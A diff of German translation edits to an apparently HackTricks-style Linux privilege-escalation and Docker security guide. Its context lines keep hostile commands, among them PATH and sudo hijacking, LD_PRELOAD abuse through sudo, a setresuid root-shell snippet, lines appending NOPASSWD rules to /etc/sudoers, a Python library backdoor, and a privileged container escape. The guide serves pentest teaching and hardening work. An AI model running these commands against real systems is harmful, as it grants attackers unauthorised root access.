+Das System ist vielseitig und unterstützt grundlegendes IPC, das den Datenaustausch zwischen Prozessen verbessert, ähnlich wie **erweiterte UNIX-Domänensockets**. Darüber hinaus hilft es beim Broadcasten von Ereignissen oder Signalen, was eine nahtlose Integration zwischen Systemkomponenten fördert. Beispielsweise kann ein Signal von einem Bluetooth-Daemon über einen eingehenden Anruf einen Musikplayer dazu bringen, sich stummzuschalten, was die Benutzererfahrung verbessert. Darüber hinaus unterstützt D-Bus ein entferntes Objektsystem, das Serviceanfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren.
 
 D-Bus arbeitet nach einem **Erlauben/Verweigern-Modell**, das die Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen usw.) basierend auf der kumulativen Wirkung übereinstimmender Richtlinienregeln verwaltet. Diese Richtlinien spezifizieren Interaktionen mit dem Bus und können möglicherweise eine Privilegieneskalation durch die Ausnutzung dieser Berechtigungen ermöglichen.
 
 Ein Beispiel für eine solche Richtlinie in `/etc/dbus-1/system.d/wpa_supplicant.conf` wird bereitgestellt, die die Berechtigungen für den Root-Benutzer beschreibt, um Nachrichten von `fi.w1.wpa_supplicant1` zu besitzen, zu senden und zu empfangen.
 
-Richtlinien ohne einen angegebenen Benutzer oder eine Gruppe gelten universell, während "Standard"-Kontextrichtlinien für alle gelten, die nicht durch andere spezifische Richtlinien abgedeckt sind.
+Richtlinien ohne einen angegebenen Benutzer oder eine Gruppe gelten universell, während "Standard"-Kontextrichtlinien für alle gelten, die nicht von anderen spezifischen Richtlinien abgedeckt sind.
 ```xml
 <policy user="root">
 <allow own="fi.w1.wpa_supplicant1"/>
@@ -585,7 +585,7 @@ Richtlinien ohne einen angegebenen Benutzer oder eine Gruppe gelten universell,
 <allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
 </policy>
 ```
-**Lernen Sie hier, wie man eine D-Bus-Kommunikation enumeriert und ausnutzt:**
+**Lernen Sie hier, wie Sie eine D-Bus-Kommunikation enumerieren und ausnutzen:**
 
 
 {{#ref}}
@@ -698,11 +698,11 @@ Wenn Sie **ein Passwort** der Umgebung **kennen, versuchen Sie sich als jeder Be
 Wenn es Ihnen nichts ausmacht, viel Lärm zu machen und die `su`- und `timeout`-Binaries auf dem Computer vorhanden sind, können Sie versuchen, Benutzer mit [su-bruteforce](https://github.com/carlospolop/su-bruteforce) zu brute-forcen.\
 [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) mit dem Parameter `-a` versucht ebenfalls, Benutzer zu brute-forcen.
 
-## Schreibbare PATH-Missbräuche
+## Schreibbare PATH-Ausnutzung
 
 ### $PATH
 
-Wenn Sie feststellen, dass Sie **in einen Ordner des $PATH** **schreiben können**, könnten Sie in der Lage sein, Privilegien zu eskalieren, indem Sie **eine Hintertür im beschreibbaren Ordner** mit dem Namen eines Befehls erstellen, der von einem anderen Benutzer (idealerweise root) ausgeführt wird und der **nicht aus einem Ordner geladen wird, der vor** Ihrem beschreibbaren Ordner im $PATH liegt.
+Wenn Sie feststellen, dass Sie **in einen Ordner des $PATH** schreiben können, könnten Sie in der Lage sein, Privilegien zu eskalieren, indem Sie **eine Hintertür im beschreibbaren Ordner** mit dem Namen eines Befehls erstellen, der von einem anderen Benutzer (idealerweise root) ausgeführt wird und der **nicht aus einem Ordner geladen wird, der vor** Ihrem beschreibbaren Ordner im $PATH liegt.
 
 ### SUDO und SUID
 
@@ -765,7 +765,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
 
 ### Sudo-Befehl/SUID-Binärdatei ohne Befehls-Pfad
 
-Wenn die **sudo-Berechtigung** für einen einzelnen Befehl **ohne Angabe des Pfades** gewährt wird: _hacker10 ALL= (root) less_, kannst du dies ausnutzen, indem du die PATH-Variable änderst.
+Wenn die **sudo-Berechtigung** für einen einzelnen Befehl **ohne Angabe des Pfades** erteilt wird: _hacker10 ALL= (root) less_, kannst du dies ausnutzen, indem du die PATH-Variable änderst.
 ```bash
 export PATH=/tmp:$PATH
 #Put your backdoor in /tmp and name it "less"
@@ -792,10 +792,10 @@ Die **LD_PRELOAD**-Umgebungsvariable wird verwendet, um eine oder mehrere gemein
 
 Um jedoch die Systemsicherheit aufrechtzuerhalten und zu verhindern, dass diese Funktion ausgenutzt wird, insbesondere bei **suid/sgid**-Ausführungen, setzt das System bestimmte Bedingungen durch:
 
-- Der Loader ignoriert **LD_PRELOAD** für Ausführungen, bei denen die echte Benutzer-ID (_ruid_) nicht mit der effektiven Benutzer-ID (_euid_) übereinstimmt.
+- Der Loader ignoriert **LD_PRELOAD** für ausführbare Dateien, bei denen die echte Benutzer-ID (_ruid_) nicht mit der effektiven Benutzer-ID (_euid_) übereinstimmt.
-- Für Ausführungen mit suid/sgid werden nur Bibliotheken in Standardpfaden, die ebenfalls suid/sgid sind, vorab geladen.
+- Für ausführbare Dateien mit suid/sgid werden nur Bibliotheken in Standardpfaden, die ebenfalls suid/sgid sind, vorab geladen.
 
-Eine Privilegieneskalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Aussage **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration ermöglicht es, dass die **LD_PRELOAD**-Umgebungsvariable bestehen bleibt und auch erkannt wird, wenn Befehle mit `sudo` ausgeführt werden, was potenziell zur Ausführung beliebigen Codes mit erhöhten Rechten führen kann.
+Eine Privilegieneskalation kann auftreten, wenn Sie die Möglichkeit haben, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Aussage **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration ermöglicht es, dass die **LD_PRELOAD**-Umgebungsvariable bestehen bleibt und erkannt wird, selbst wenn Befehle mit `sudo` ausgeführt werden, was potenziell zur Ausführung beliebigen Codes mit erhöhten Rechten führen kann.
 ```
 Defaults        env_keep += LD_PRELOAD
 ```
@@ -817,12 +817,12 @@ Dann **kompiliere es** mit:
 cd /tmp
 gcc -fPIC -shared -o pe.so pe.c -nostartfiles
 ```
-Schließlich **erhöhen Sie die Berechtigungen** durch Ausführung
+Schließlich **Privilegien erhöhen** durch Ausführen
 ```bash
 sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
 ```
 > [!CAUTION]
-> Ein ähnlicher Privilegienausstieg kann ausgenutzt werden, wenn der Angreifer die **LD_LIBRARY_PATH**-Umgebungsvariable kontrolliert, da er den Pfad kontrolliert, in dem nach Bibliotheken gesucht wird.
+> Eine ähnliche Privilegieneskalation kann ausgenutzt werden, wenn der Angreifer die **LD_LIBRARY_PATH**-Umgebungsvariable kontrolliert, da er den Pfad kontrolliert, in dem nach Bibliotheken gesucht wird.
 ```c
 #include <stdio.h>
 #include <stdlib.h>
@@ -892,7 +892,7 @@ setresuid(0,0,0);
 system("/bin/bash -p");
 }
 ```
-Wenn Sie einen Fehler wie
+Wenn Sie einen Fehler erhalten wie
 ```shell-session
 ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
 ```
@@ -936,7 +936,7 @@ Anforderungen zur Eskalation von Privilegien:
 
 (Sie können `ptrace_scope` vorübergehend mit `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` aktivieren oder dauerhaft `/etc/sysctl.d/10-ptrace.conf` ändern und `kernel.yama.ptrace_scope = 0` setzen)
 
-Wenn alle diese Anforderungen erfüllt sind, **können Sie Privilegien mit:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) eskalieren.
+Wenn all diese Anforderungen erfüllt sind, **können Sie Privilegien eskalieren mit:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
 
 - Der **erste Exploit** (`exploit.sh`) erstellt die Binärdatei `activate_sudo_token` in _/tmp_. Sie können es verwenden, um **das sudo-Token in Ihrer Sitzung zu aktivieren** (Sie erhalten nicht automatisch eine Root-Shell, führen Sie `sudo su` aus):
 ```bash
@@ -954,7 +954,7 @@ bash exploit_v2.sh
 bash exploit_v3.sh
 sudo su
 ```
-### /var/run/sudo/ts/\<Benutzername>
+### /var/run/sudo/ts/\<Username>
 
 Wenn Sie **Schreibberechtigungen** im Ordner oder auf einer der darin erstellten Dateien haben, können Sie die Binärdatei [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) verwenden, um **ein sudo-Token für einen Benutzer und PID zu erstellen**.\
 Zum Beispiel, wenn Sie die Datei _/var/run/sudo/ts/sampleuser_ überschreiben können und Sie eine Shell als dieser Benutzer mit PID 1234 haben, können Sie **sudo-Rechte erhalten**, ohne das Passwort wissen zu müssen, indem Sie:
@@ -969,7 +969,7 @@ Die Datei `/etc/sudoers` und die Dateien in `/etc/sudoers.d` konfigurieren, wer
 ls -l /etc/sudoers /etc/sudoers.d/
 ls -ld /etc/sudoers.d/
 ```
-Wenn Sie schreiben können, können Sie diese Berechtigung missbrauchen.
+Wenn du schreiben kannst, kannst du diese Berechtigung missbrauchen.
 ```bash
 echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
 echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
@@ -989,11 +989,11 @@ permit nopass demo as root cmd vim
 ```
 ### Sudo Hijacking
 
-Wenn Sie wissen, dass ein **Benutzer normalerweise eine Verbindung zu einer Maschine herstellt und `sudo`** verwendet, um Berechtigungen zu eskalieren, und Sie haben eine Shell im Kontext dieses Benutzers erhalten, können Sie **eine neue sudo ausführbare Datei erstellen**, die Ihren Code als root und dann den Befehl des Benutzers ausführt. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel, indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass, wenn der Benutzer sudo ausführt, Ihre sudo ausführbare Datei ausgeführt wird.
+Wenn Sie wissen, dass ein **Benutzer normalerweise eine Verbindung zu einer Maschine herstellt und `sudo`** verwendet, um Berechtigungen zu eskalieren, und Sie eine Shell im Kontext dieses Benutzers erhalten haben, können Sie **eine neue sudo ausführbare Datei erstellen**, die Ihren Code als root und dann den Befehl des Benutzers ausführt. Dann **ändern Sie den $PATH** des Benutzerkontexts (zum Beispiel, indem Sie den neuen Pfad in .bash_profile hinzufügen), sodass, wenn der Benutzer sudo ausführt, Ihre sudo ausführbare Datei ausgeführt wird.
 
 Beachten Sie, dass Sie, wenn der Benutzer eine andere Shell (nicht bash) verwendet, andere Dateien ändern müssen, um den neuen Pfad hinzuzufügen. Zum Beispiel [sudo-piggyback](https://github.com/APTy/sudo-piggyback) ändert `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Sie können ein weiteres Beispiel in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) finden.
 
-Oder etwas wie ausführen:
+Oder etwas wie:
 ```bash
 cat >/tmp/sudo <<EOF
 #!/bin/bash
@@ -1017,7 +1017,7 @@ Die Datei `/etc/ld.so.conf` gibt **an, woher die geladenen Konfigurationsdateien
 Das bedeutet, dass die Konfigurationsdateien aus `/etc/ld.so.conf.d/*.conf` gelesen werden. Diese Konfigurationsdateien **verweisen auf andere Ordner**, in denen **Bibliotheken** **gesucht** werden. Zum Beispiel ist der Inhalt von `/etc/ld.so.conf.d/libc.conf` `/usr/local/lib`. **Das bedeutet, dass das System nach Bibliotheken im Verzeichnis `/usr/local/lib` suchen wird**.
 
 Wenn aus irgendeinem Grund **ein Benutzer Schreibberechtigungen** für einen der angegebenen Pfade hat: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, eine Datei innerhalb von `/etc/ld.so.conf.d/` oder einen Ordner innerhalb der Konfigurationsdatei in `/etc/ld.so.conf.d/*.conf`, könnte er in der Lage sein, Privilegien zu eskalieren.\
-Schau dir an, **wie man diese Fehlkonfiguration ausnutzen kann** auf der folgenden Seite:
+Schauen Sie sich an, **wie man diese Fehlkonfiguration ausnutzen kann** auf der folgenden Seite:
 
 
 {{#ref}}
@@ -1149,7 +1149,7 @@ Gibt an, ob root sich über SSH anmelden kann, der Standardwert ist `no`. Mögli
 
 - `yes`: root kann sich mit Passwort und privatem Schlüssel anmelden
 - `without-password` oder `prohibit-password`: root kann sich nur mit einem privaten Schlüssel anmelden
-- `forced-commands-only`: Root kann sich nur mit privatem Schlüssel anmelden und wenn die Befehlsoptionen angegeben sind
+- `forced-commands-only`: Root kann sich nur mit privatem Schlüssel anmelden, wenn die Befehlsoptionen angegeben sind
 - `no` : nein
 
 ### AuthorizedKeysFile
@@ -1162,7 +1162,7 @@ Diese Konfiguration zeigt an, dass, wenn Sie versuchen, sich mit dem **privaten*
 
 ### ForwardAgent/AllowAgentForwarding
 
-SSH-Agent-Weiterleitung ermöglicht es Ihnen, **Ihre lokalen SSH-Schlüssel zu verwenden, anstatt Schlüssel** (ohne Passwörter!) auf Ihrem Server zu belassen. So können Sie **via ssh zu einem Host springen** und von dort **zu einem anderen** Host **springen, indem Sie** den **Schlüssel** verwenden, der sich auf Ihrem **ursprünglichen Host** befindet.
+SSH-Agent-Weiterleitung ermöglicht es Ihnen, **Ihre lokalen SSH-Schlüssel zu verwenden, anstatt Schlüssel** (ohne Passwörter!) auf Ihrem Server zu belassen. So können Sie **über ssh zu einem Host springen** und von dort **zu einem anderen** Host **springen, indem Sie** den **Schlüssel** verwenden, der sich auf Ihrem **ursprünglichen Host** befindet.
 
 Sie müssen diese Option in `$HOME/.ssh.config` wie folgt festlegen:
 ```
@@ -1185,11 +1185,11 @@ ssh-forward-agent-exploitation.md
 
 ### Profil-Dateien
 
-Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher, wenn Sie **eine von ihnen schreiben oder ändern können, können Sie Privilegien eskalieren**.
+Die Datei `/etc/profile` und die Dateien unter `/etc/profile.d/` sind **Skripte, die ausgeführt werden, wenn ein Benutzer eine neue Shell startet**. Daher können Sie, wenn Sie **eine von ihnen schreiben oder ändern können, Privilegien eskalieren**.
 ```bash
 ls -l /etc/profile /etc/profile.d/
 ```
-Wenn ein seltsames Profilskript gefunden wird, sollten Sie es auf **sensible Details** überprüfen.
+Wenn ein seltsames Profil-Skript gefunden wird, sollten Sie es auf **sensible Details** überprüfen.
 
 ### Passwd/Shadow-Dateien
 
@@ -1247,7 +1247,7 @@ Die folgenden Ordner können Backups oder interessante Informationen enthalten:
 ```bash
 ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
 ```
-### Seltsame Orte/Besitzene Dateien
+### Seltsame Orte/Besitzdateien
 ```bash
 #root owned files in /home folders
 find /home -user root 2>/dev/null
@@ -1296,7 +1296,7 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null
 ```bash
 find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
 ```
-### Bekannte Dateien mit Passwörtern
+### Bekannte Dateien, die Passwörter enthalten
 
 Lesen Sie den Code von [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), er sucht nach **mehreren möglichen Dateien, die Passwörter enthalten könnten**.\
 **Ein weiteres interessantes Tool**, das Sie dafür verwenden können, ist: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), das eine Open-Source-Anwendung ist, um viele Passwörter abzurufen, die auf einem lokalen Computer für Windows, Linux und Mac gespeichert sind.
@@ -1304,7 +1304,7 @@ Lesen Sie den Code von [**linPEAS**](https://github.com/carlospolop/privilege-es
 ### Protokolle
 
 Wenn Sie Protokolle lesen können, könnten Sie **interessante/vertrauliche Informationen darin finden**. Je seltsamer das Protokoll ist, desto interessanter wird es sein (wahrscheinlich).\
-Außerdem könnten einige "**schlecht**" konfigurierte (backdoored?) **Audit-Protokolle** es Ihnen ermöglichen, **Passwörter** in Audit-Protokollen aufzuzeichnen, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
+Außerdem können einige "**schlecht**" konfigurierte (backdoored?) **Audit-Protokolle** es Ihnen ermöglichen, **Passwörter** in Audit-Protokollen aufzuzeichnen, wie in diesem Beitrag erklärt: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
 ```bash
 aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
 grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@@ -1331,7 +1331,7 @@ Ich werde hier nicht auflisten, wie man all dies macht, aber wenn Sie interessie
 
 ### Python library hijacking
 
-Wenn Sie wissen, **woher** ein Python-Skript ausgeführt wird und Sie **in diesem Ordner schreiben können** oder **Python-Bibliotheken modifizieren können**, können Sie die OS-Bibliothek modifizieren und einen Backdoor einfügen (wenn Sie schreiben können, wo das Python-Skript ausgeführt wird, kopieren und fügen Sie die os.py-Bibliothek ein).
+Wenn Sie wissen, **woher** ein Python-Skript ausgeführt wird und Sie **in diesen Ordner schreiben können** oder **Python-Bibliotheken modifizieren können**, können Sie die OS-Bibliothek modifizieren und einen Backdoor einfügen (wenn Sie dort schreiben können, wo das Python-Skript ausgeführt wird, kopieren und fügen Sie die os.py-Bibliothek ein).
 
 Um **die Bibliothek zu backdooren**, fügen Sie einfach am Ende der os.py-Bibliothek die folgende Zeile hinzu (ändern Sie IP und PORT):
 ```python
@@ -1354,9 +1354,9 @@ Diese Schwachstelle ist sehr ähnlich zu [**CVE-2016-1247**](https://www.cvedeta
 
 **Schwachstellenreferenz:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
 
-Wenn ein Benutzer aus irgendeinem Grund in der Lage ist, ein `ifcf-<whatever>`-Skript nach _/etc/sysconfig/network-scripts_ **zu schreiben** **oder** ein vorhandenes **anzupassen**, dann ist Ihr **System kompromittiert**.
+Wenn ein Benutzer aus irgendeinem Grund in der Lage ist, ein `ifcf-<whatever>`-Skript in _/etc/sysconfig/network-scripts_ **oder** ein bestehendes Skript **anzupassen**, dann ist Ihr **System kompromittiert**.
 
-Netzwerkskripte, _ifcg-eth0_ zum Beispiel, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Sie werden jedoch \~sourced\~ auf Linux durch den Network Manager (dispatcher.d).
+Netzwerkskripte, wie _ifcg-eth0_, werden für Netzwerkverbindungen verwendet. Sie sehen genau wie .INI-Dateien aus. Sie werden jedoch \~sourced\~ auf Linux durch den Network Manager (dispatcher.d).
 
 In meinem Fall wird das `NAME=`-Attribut in diesen Netzwerkskripten nicht korrekt behandelt. Wenn Sie **Leerzeichen im Namen haben, versucht das System, den Teil nach dem Leerzeichen auszuführen**. Das bedeutet, dass **alles nach dem ersten Leerzeichen als root ausgeführt wird**.
 
@@ -1372,7 +1372,7 @@ Das Verzeichnis `/etc/init.d` ist die Heimat von **Skripten** für System V init
 
 Andererseits ist `/etc/init` mit **Upstart** verbunden, einer neueren **Dienstverwaltung**, die von Ubuntu eingeführt wurde und Konfigurationsdateien für Dienstverwaltungsaufgaben verwendet. Trotz des Übergangs zu Upstart werden SysVinit-Skripte weiterhin zusammen mit Upstart-Konfigurationen aufgrund einer Kompatibilitätsschicht in Upstart verwendet.
 
-**systemd** tritt als modernes Initialisierungs- und Dienstverwaltungssystem auf und bietet erweiterte Funktionen wie das Starten von Daemons nach Bedarf, Automount-Verwaltung und Systemzustands-Snapshots. Es organisiert Dateien in `/usr/lib/systemd/` für Verteilungspakete und `/etc/systemd/system/` für Administratoränderungen, was den Prozess der Systemadministration optimiert.
+**systemd** tritt als modernes Initialisierungs- und Dienstverwaltungssystem auf und bietet erweiterte Funktionen wie das Starten von Daemons nach Bedarf, Automount-Management und Systemzustands-Snapshots. Es organisiert Dateien in `/usr/lib/systemd/` für Verteilungspakete und `/etc/systemd/system/` für Administratoränderungen, was den Prozess der Systemadministration optimiert.
 
 ## Weitere Tricks
 

src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md

@@ -36,7 +36,7 @@ Sie können einen privilegierten Container wie folgt ausführen:
 ```bash
 ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
 ```
-Dann können Sie einige der auf der folgenden Seite genannten Techniken verwenden, um **daraus zu entkommen, indem Sie privilegierte Fähigkeiten ausnutzen**:
+Dann können Sie einige der auf der folgenden Seite genannten Techniken verwenden, um **daraus zu entkommen, indem Sie privilegierte Fähigkeiten ausnutzen**: 
 
 {{#ref}}
 docker-security/

src/linux-hardening/privilege-escalation/docker-security/README.md

@@ -4,7 +4,7 @@
 
 ## **Grundlegende Sicherheit des Docker-Engines**
 
-Der **Docker-Engine** verwendet die **Namespaces** und **Cgroups** des Linux-Kernels, um Container zu isolieren und bietet eine grundlegende Sicherheitsebene. Zusätzlicher Schutz wird durch **Capabilities dropping**, **Seccomp** und **SELinux/AppArmor** bereitgestellt, was die Container-Isolation verbessert. Ein **auth plugin** kann die Benutzeraktionen weiter einschränken.
+Der **Docker-Engine** verwendet die **Namespaces** und **Cgroups** des Linux-Kernels, um Container zu isolieren, und bietet eine grundlegende Sicherheitsebene. Zusätzlicher Schutz wird durch **Capabilities dropping**, **Seccomp** und **SELinux/AppArmor** bereitgestellt, was die Container-Isolation verbessert. Ein **auth plugin** kann die Benutzeraktionen weiter einschränken.
 
 ![Docker-Sicherheit](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
 
@@ -34,13 +34,13 @@ Container-Images können in privaten oder öffentlichen Repositories gespeichert
 
 ### Bild-Scanning
 
-Container können **Sicherheitsanfälligkeiten** aufweisen, entweder aufgrund des Basis-Images oder aufgrund der auf dem Basis-Image installierten Software. Docker arbeitet an einem Projekt namens **Nautilus**, das Sicherheits-Scans von Containern durchführt und die Anfälligkeiten auflistet. Nautilus funktioniert, indem es jede Container-Image-Schicht mit einem Anfälligkeits-Repository vergleicht, um Sicherheitslücken zu identifizieren.
+Container können **Sicherheitsanfälligkeiten** aufweisen, entweder aufgrund des Basis-Images oder aufgrund der auf dem Basis-Image installierten Software. Docker arbeitet an einem Projekt namens **Nautilus**, das Sicherheits-Scans von Containern durchführt und die Anfälligkeiten auflistet. Nautilus funktioniert, indem es jede Container-Image-Schicht mit einem Anfälligkeitsrepository vergleicht, um Sicherheitslücken zu identifizieren.
 
 Für weitere [**Informationen lesen Sie dies**](https://docs.docker.com/engine/scan/).
 
 - **`docker scan`**
 
-Der **`docker scan`** Befehl ermöglicht es Ihnen, vorhandene Docker-Images anhand des Image-Namens oder der ID zu scannen. Führen Sie beispielsweise den folgenden Befehl aus, um das hello-world-Image zu scannen:
+Der **`docker scan`** Befehl ermöglicht es Ihnen, vorhandene Docker-Images mithilfe des Bildnamens oder der ID zu scannen. Führen Sie beispielsweise den folgenden Befehl aus, um das hello-world-Image zu scannen:
 ```bash
 docker scan hello-world
 
@@ -74,7 +74,7 @@ Docker-Image-Signierung gewährleistet die Sicherheit und Integrität von Bilder
 
 - **Docker Content Trust** nutzt das Notary-Projekt, das auf The Update Framework (TUF) basiert, um die Bildsignierung zu verwalten. Für weitere Informationen siehe [Notary](https://github.com/docker/notary) und [TUF](https://theupdateframework.github.io).
 - Um Docker Content Trust zu aktivieren, setze `export DOCKER_CONTENT_TRUST=1`. Diese Funktion ist standardmäßig in Docker-Version 1.10 und höher deaktiviert.
-- Mit aktivierter Funktion können nur signierte Bilder heruntergeladen werden. Der erste Bild-Upload erfordert die Festlegung von Passphrasen für die Root- und Tagging-Schlüssel, wobei Docker auch Yubikey zur Verbesserung der Sicherheit unterstützt. Weitere Details sind [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) zu finden.
+- Mit dieser aktivierten Funktion können nur signierte Bilder heruntergeladen werden. Der erste Bild-Upload erfordert die Festlegung von Passphrasen für die Root- und Tagging-Schlüssel, wobei Docker auch Yubikey zur Verbesserung der Sicherheit unterstützt. Weitere Details sind [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/) zu finden.
 - Der Versuch, ein unsigniertes Bild mit aktiviertem Content Trust herunterzuladen, führt zu einem "No trust data for latest"-Fehler.
 - Für Bild-Uploads nach dem ersten Mal fragt Docker nach der Passphrase des Repository-Schlüssels, um das Bild zu signieren.
 
@@ -116,14 +116,14 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
 ```
 **Seccomp**
 
-Es ist standardmäßig in Docker aktiviert. Es hilft, **die syscalls**, die der Prozess aufrufen kann, **noch weiter zu beschränken**.\
+Es ist standardmäßig in Docker aktiviert. Es hilft, die **Systemaufrufe** weiter zu **beschränken**, die der Prozess aufrufen kann.\
 Das **Standard-Docker-Seccomp-Profil** finden Sie unter [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
 
 **AppArmor**
 
 Docker hat eine Vorlage, die Sie aktivieren können: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
 
-Dies ermöglicht es, Fähigkeiten, syscalls, den Zugriff auf Dateien und Ordner... zu reduzieren.
+Dies ermöglicht es, Fähigkeiten, Systemaufrufe, den Zugriff auf Dateien und Ordner zu reduzieren...
 
 </details>
 
@@ -141,14 +141,15 @@ Docker nutzt die folgenden Linux-Kernel-Namespaces, um die Container-Isolierung
 
 Für **weitere Informationen über die Namespaces** besuchen Sie die folgende Seite:
 
+
 {{#ref}}
 namespaces/
 {{#endref}}
 
 ### cgroups
 
-Die Linux-Kernel-Funktion **cgroups** bietet die Möglichkeit, **Ressourcen wie CPU, Speicher, IO, Netzwerkbandbreite unter** einer Gruppe von Prozessen zu **beschränken**. Docker ermöglicht die Erstellung von Containern unter Verwendung der cgroup-Funktion, die eine Ressourcensteuerung für den spezifischen Container ermöglicht.\
+Die Linux-Kernel-Funktion **cgroups** bietet die Möglichkeit, **Ressourcen wie CPU, Speicher, IO, Netzwerkbandbreite** unter einer Gruppe von Prozessen zu **beschränken**. Docker ermöglicht die Erstellung von Containern unter Verwendung der cgroup-Funktion, die eine Ressourcensteuerung für den spezifischen Container ermöglicht.\
-Folgendes ist ein Container, dessen Benutzerspeichermenge auf 500m, der Kernel-Speicher auf 50m, der CPU-Anteil auf 512 und der blkio-weight auf 400 begrenzt ist. Der CPU-Anteil ist ein Verhältnis, das die CPU-Nutzung des Containers steuert. Er hat einen Standardwert von 1024 und einen Bereich zwischen 0 und 1024. Wenn drei Container denselben CPU-Anteil von 1024 haben, kann jeder Container bis zu 33 % der CPU im Falle von CPU-Ressourcenkonflikten nutzen. Der blkio-weight ist ein Verhältnis, das das IO des Containers steuert. Er hat einen Standardwert von 500 und einen Bereich zwischen 10 und 1000.
+Nachfolgend ein Container, der mit einem auf 500m begrenzten Benutzerspeicher, einem auf 50m begrenzten Kernel-Speicher, einem CPU-Anteil von 512 und einem blkio-weight von 400 erstellt wurde. Der CPU-Anteil ist ein Verhältnis, das die CPU-Nutzung des Containers steuert. Er hat einen Standardwert von 1024 und einen Bereich zwischen 0 und 1024. Wenn drei Container denselben CPU-Anteil von 1024 haben, kann jeder Container bis zu 33 % der CPU im Falle von CPU-Ressourcenkonflikten nutzen. blkio-weight ist ein Verhältnis, das das IO des Containers steuert. Es hat einen Standardwert von 500 und einen Bereich zwischen 10 und 1000.
 ```
 docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
 ```
@@ -166,7 +167,7 @@ cgroups.md
 
 ### Fähigkeiten
 
-Fähigkeiten ermöglichen **eine genauere Kontrolle über die Fähigkeiten, die für den Root-Benutzer erlaubt sein können**. Docker verwendet die Fähigkeit-Funktion des Linux-Kernels, um **die Operationen zu begrenzen, die innerhalb eines Containers durchgeführt werden können**, unabhängig von der Art des Benutzers.
+Fähigkeiten ermöglichen **eine genauere Kontrolle über die Fähigkeiten, die für den Root-Benutzer erlaubt sein können**. Docker verwendet die Linux-Kernel-Fähigkeitsfunktion, um **die Operationen zu begrenzen, die innerhalb eines Containers durchgeführt werden können**, unabhängig von der Art des Benutzers.
 
 Wenn ein Docker-Container ausgeführt wird, **verliert der Prozess sensible Fähigkeiten, die der Prozess nutzen könnte, um aus der Isolation zu entkommen**. Dies versucht sicherzustellen, dass der Prozess keine sensiblen Aktionen ausführen und entkommen kann:
 
@@ -176,7 +177,7 @@ Wenn ein Docker-Container ausgeführt wird, **verliert der Prozess sensible Fäh
 
 ### Seccomp in Docker
 
-Dies ist eine Sicherheitsfunktion, die es Docker ermöglicht, **die Syscalls zu begrenzen**, die innerhalb des Containers verwendet werden können:
+Dies ist eine Sicherheitsfunktion, die es Docker ermöglicht, **die Syscalls** zu begrenzen, die innerhalb des Containers verwendet werden können:
 
 {{#ref}}
 seccomp.md
@@ -209,7 +210,7 @@ Dieser Mechanismus stellt sicher, dass selbst wenn ein Prozess innerhalb eines C
 In Docker spielt ein Autorisierungs-Plugin eine entscheidende Rolle für die Sicherheit, indem es entscheidet, ob Anfragen an den Docker-Daemon erlaubt oder blockiert werden. Diese Entscheidung wird getroffen, indem zwei wichtige Kontexte untersucht werden:
 
 - **Authentifizierungskontext**: Dies umfasst umfassende Informationen über den Benutzer, wie wer sie sind und wie sie sich authentifiziert haben.
